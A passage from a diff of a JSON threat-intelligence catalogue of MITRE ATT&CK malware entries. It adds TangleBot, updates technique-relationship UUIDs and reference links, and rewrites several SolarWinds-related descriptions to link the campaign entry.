"50c44c34-3abb-48ae-9433-a2337de5b0bc", + "value": "BlackCat - S1068" + }, { "description": "[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)", "meta": { @@ -40108,6 +42807,110 @@ "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "value": "PUNCHBUGGY - S0196" }, + { + "description": "[TangleBot](https://attack.mitre.org/software/S1069) is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. [TangleBot](https://attack.mitre.org/software/S1069) has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to [FluBot](https://attack.mitre.org/software/S1067) Android malware campaigns.(Citation: cloudmark_tanglebot_0921)", + "meta": { + "external_id": "S1069", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1069", + "https://www.cloudmark.com/en/blog/malware/tanglebot-new-advanced-sms-malware-targets-mobile-users-across-us-and-canada-covid-19" + ], + "synonyms": [ + "TangleBot" + ] + }, + "related": [ + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "68156e5a-4c3a-46dd-9c5e-c0bfdec6651f", + "value": "TangleBot - S1069" + }, { "description": "[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)", "meta": { @@ -40564,6 +43367,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -41181,13 +43991,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -41196,14 +43999,14 @@ "type": "uses" }, { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41241,6 +44044,9 @@ "refs": [ "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/", "https://attack.mitre.org/software/S0322" + ], + "synonyms": [ + "HummingBad" ] }, "related": [ @@ -43545,6 +46351,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -43615,13 +46428,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -43649,13 +46455,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", @@ -44339,13 +47138,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -44867,6 +47659,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -45231,13 +48030,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -45784,13 +48576,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", @@ -45931,6 +48716,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -46938,6 +49730,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -47523,13 +50322,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -47558,6 +50350,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -47690,13 +50489,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", @@ -48471,6 +51263,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -49390,13 +52189,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -49936,13 +52728,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -50028,6 +52813,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -50513,8 +53305,8 @@ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", - "https://attack.mitre.org/software/S0672" + "https://attack.mitre.org/software/S0672", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" ], "synonyms": [ "Zox", @@ -51005,6 +53797,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -51061,13 +53860,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -51082,6 +53874,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -51347,14 +54146,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -51750,13 +54549,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", @@ -52545,13 +55337,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -52792,6 +55577,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -52971,13 +55763,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "43155329-3edf-47a6-9a14-7dac899b01e4", @@ -54017,6 +56802,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -54253,13 +57045,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "b45747dc-87ca-4597-a245-7e16a61bc491", @@ -55948,13 +58733,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -57349,13 +60127,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -57404,13 +60175,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", @@ -58106,7 +60870,8 @@ "meta": { "external_id": "S0663", "mitre_platforms": [ - "Windows" + "Windows", + "Linux" ], "refs": [ "https://attack.mitre.org/software/S0663", @@ -58134,6 +60899,48 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -58141,6 +60948,20 @@ ], "type": "uses" }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -58148,6 +60969,20 @@ ], "type": "uses" }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -58162,6 +60997,13 @@ ], "type": "uses" }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -58169,6 +61011,27 @@ ], "type": "uses" }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -58197,6 +61060,13 @@ ], "type": "uses" }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ @@ -58259,6 +61129,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -58441,6 +61318,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -58649,13 +61533,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ @@ -58664,14 +61541,14 @@ "type": "uses" }, { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58705,13 +61582,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ @@ -58760,6 +61630,13 @@ ], "type": "uses" }, + { + "dest-uuid": "215d9700-5881-48b8-8265-6449dbb7195d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -58823,13 +61700,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -59407,6 +62277,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -59448,13 +62325,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "1492d0f8-7e14-4af3-9239-bc3fe10d3407", @@ -59622,13 +62492,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ @@ -59911,7 +62774,7 @@ "https://attack.mitre.org/software/S0387", "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", "https://citizenlab.ca/2016/11/parliament-keyboy/", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html" ], "synonyms": [ "KeyBoy" @@ -60085,13 +62948,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -60119,7 +62975,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0388", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf" ], "synonyms": [ "YAHOYAH" @@ -62915,14 +65771,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -63081,6 +65937,13 @@ ], "type": "uses" }, + { + "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ @@ -63130,13 +65993,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ @@ -63165,6 +66021,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -65087,6 +67950,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -65900,6 +68770,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -67126,7 +70003,7 @@ "value": "BusyGasper - S0655" }, { - "description": "[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "description": "[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", "meta": { "external_id": "S0565", "mitre_platforms": [ @@ -67848,6 +70725,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -68908,7 +71792,7 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -69201,10 +72085,10 @@ ], "refs": [ "https://attack.mitre.org/software/S0596", - "https://content.fireeye.com/apt-41/rpt-apt41", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", - "https://securelist.com/shadowpad-in-corporate-networks/81432/" + "https://securelist.com/shadowpad-in-corporate-networks/81432/", + "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" ], "synonyms": [ "ShadowPad", @@ -69212,6 +72096,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -69641,7 +72532,7 @@ "value": "Penquin - S0587" }, { - "description": "[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)", + "description": "[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)", "meta": { "external_id": "S0597", "mitre_platforms": [ @@ -69800,7 +72691,7 @@ "value": "Waterbear - S0579" }, { - "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)", + "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)", "meta": { "external_id": "S0588", "mitre_platforms": [ @@ -69943,7 +72834,7 @@ "value": "GoldMax - S0588" }, { - "description": "[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)", + "description": 